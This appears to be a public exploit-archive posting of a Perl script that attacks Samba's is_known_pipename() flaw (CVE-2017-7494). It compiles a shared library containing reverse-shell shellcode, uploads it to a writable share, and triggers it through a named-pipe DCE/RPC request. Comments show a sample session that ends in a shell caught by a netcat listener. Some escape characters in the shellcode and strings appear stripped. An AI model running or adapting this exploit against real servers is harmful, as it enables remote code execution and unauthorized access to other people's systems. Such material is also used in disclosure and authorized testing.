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Samba is_known_pipename() Code Execution

Posted on 03 June 2017

#!/usr/bin/perl -w

#Remote Samba is_known_pipename() ( 3.5.0 to 4.4.14, 4.5.10, and 4.6.4.) Exploit By N_A , N_A[at]tutanota.com

#The orginal bug was discovered by steelo <knownsteelo[at]gmail.com>
#CVE-2017-7494
#https://www.samba.org/samba/security/CVE-2017-7494.html

#Tested on Samba 4.5.8-Debian

#Requirments for this exploit to run:

#perl -MCPAN -e 'install Filesys::SmbClientParser'
#git clone https://github.com/CoreSecurity/impacket and then install the package

#How to use this exploit:

#This exploit loads a hacked library file into a vulnerable samba server and provides a reverse shell. ( you will need to swap the shellcode )
#A writable samba share is required or valid credentials to a samba share that allows write access to the share.
#You need to know the server side location path of the writable share. For example if the share with write access is called 'blah' then you will
#need to know the full server side path i.e '/home/billybobthornton/blah'
#That is all. This exploit creates a hacked library file and loads it into the remote writable samba share and then uses the DCE/RPC protocol to
#create a ncacn_np request to a named pipe ( the hacked library file ) and executes it.

#The exploit uses the impacket library files by CoreSecurity to send the DCE/RPC packet. I have tried playing with Perl's DCE::Perl::RPC and did
#not have much luck with this package. Its over 10 years old and i could not find any relevant documentation to aid me in creating a valid request
#that would trigger a named pipe request.

#If anyone knows an easier way to do this in Perl please contact me , even if its regarding wireshark captures of the DCE/RPC protocol.
#Email me on N_A[at]tutanota.com, thank you :)

#root@kali:~/exploits# perl NAsamba.pl -h 192.168.142.128 -s anonymous -l /home/NA/anonymous
#[*]No Port Specified - Using Port 445 as default
#[*]No user specified - Using 'nobody' as default user
#[*]No password specified - Leaving password blank
#[*]Using Host: 192.168.142.128 on port: 445
#[*]Username: nobody
#[*]Password:
#[*]Attacking Share: anonymous on Host: 192.168.142.128 Port: 445
#[*]Creating Pure Evil
#[*]Evil File Created Successfully!
#Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.8-Debian]
#[*]Evil File transferred to Samba Server!
#[*]Triggering exploit
#[*]G0t r00t?

#A terminal with a netcat listener set up on port 443

#root@kali:~/exploits# nc -nlvp 443
#listening on [any] 443 ...
#connect to [192.168.142.140] from (UNKNOWN) [192.168.142.128] 36214
#sh -i;
#sh: 0: can't access tty; job control turned off
#$ id
#uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
#$

#Greetz - Listen m0use i have been busy all week, didnt i tell i was working on stuff? Relax. R-E-L-A-X. Relaaaax.
#Greetz to the Wu-tang clan and all killabeez ;P

use POSIX;
use Filesys::SmbClientParser;
use strict;
use warnings;
use Getopt::Long qw(GetOptions);

#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.142.128 LPORT=443 -f c - change this to your own LHOST and LPORT to receive connection
#And then replace the resultant shellcode below:
#Note: Replace all double quotes " in the shellcode with single quotes ' before replacing shellcode.

my $shellcode = 'x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80'.
'x93x59xb0x3fxcdx80x49x79xf9x68xc0xa8x8ex80x68'.
'x02x00x01xbbx89xe1xb0x66x50x51x53xb3x03x89xe1'.
'xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3'.
'x52x53x89xe1xb0x0bxcdx80';

#These are our evil files
my $evil_header ="#ifndef evil_h__
"."#define evil_h__
"."extern int samba_init_module(void);
".'#endif';
my $evil ="#include <stdio.h>
".'int samba_init_module(void){ unsigned char shellcode[]='.'"'.$shellcode.'"'.";".'(*(void(*)()) shellcode)();return 0;}';

my $evil_header_file = 'evil.h';
my $evil_file = 'evil.c';

#creating evil library , libevil.so
sub create_evil()
{

open(my $fh, '>', $evil_file) or die "[*]Could not open evil.c";
print $fh $evil;
open($fh, '>', $evil_header_file) or die "[*]Could not open evil.h";
print $fh $evil_header;
close $fh;
system("gcc -c -Wall -Werror -fpic evil.c");
system("gcc -shared -o libevil.so evil.o");
print "[*]Evil File Created Successfully!
";
}

sub usage()
{
print "

-=[*]Remote Samba is_known_pipename() Root Exploit[*]=-

";
print "		-=By N_A=-

";
print "[*]Usage: $0 --host hostname --port port --user user --password pass --share writable-share --location /server/side/path

";
print "[*]$0 --host 127.0.0.1 --port 445 --user nobody --password pass --share temp --location /home/blah/temp
";
print "[*]$0 -h 127.0.0.1 -p 139 -u admin -pa adminpass -s stuff -l /var/samba/stuff

";
print "[*]Note: No username provided defaults to user name 'nobody'
";
print "[*]Note: No port provided defaults to port '445'
";
print "[*]Note: No password provided defaults to a blank password
";
exit;
}

my $host; #host to attack
my $port; #port on host to attack , default is 445
my $user; #username on host to use, default is nobody
my $password; #password to use, default is left as blank
my $share; #path to the writable share to use
my $location; #this is the location on the server side of the share. We need this to access our libevil.so

GetOptions('host|h=s' => $host, 'port|p=s' => $port,'user|u=s' => $user, 'password|pa=s' => $password, 'share|s=s' => $share, 'location|l=s' => $location,) or die usage();

if(!$location)
{

usage();
}

if(!$host)
{

usage();
}

if(!$port)
{
print "[*]No Port Specified - Using Port 445 as default
";
$port = 445;
}

if(!$user)
{
print "[*]No user specified - Using 'nobody' as default user
";
$user = "nobody";
}

if(!$password)
{
print "[*]No password specified - Leaving password blank
";
$password = "";
}

if(!$share)
{
print "[*]Writable Share missing
";
usage();
}

my $smb = new Filesys::SmbClientParser
(undef,
(
user => $user,
password => $password
));

$smb->Host($host);

print "[*]Using Host: $host on port: $port
";
print "[*]Username: $user
";
print "[*]Password: $password
";
print "[*]Attacking Share: $share on Host: $host Port: $port
";
print "[*]Creating Pure Evil
";
create_evil();

$smb->Share($share); #Locating correct writable share

$smb->put("libevil.so"); #transferring libevil.so to the writeable share
print "[*]Evil File transferred to Samba Server!
";
print "[*]Triggering exploit
";
print "[*]G0t r00t?
";

#All should be well at this point. All thats left is to trigger the exploit.
#A dirty hack below. There was not much documentation on DCE::Perl::RPC which is required to send requests to named pipes
#Using impacket from the command line, via system() call.

my $evil_lib = '/libevil.so';
my $stringbind = "python -c 'from impacket.dcerpc.v5 import transport; st="$host";stt="$location/libevil.so";s=r"ncacn_np:%s[\pipe%s]" % (st,stt); rpctrans = transport.DCERPCTransportFactory(s); dce = rpctrans.get_dce_rpc(); dce.connect();'";

system("$stringbind"); #triggering exploit

 

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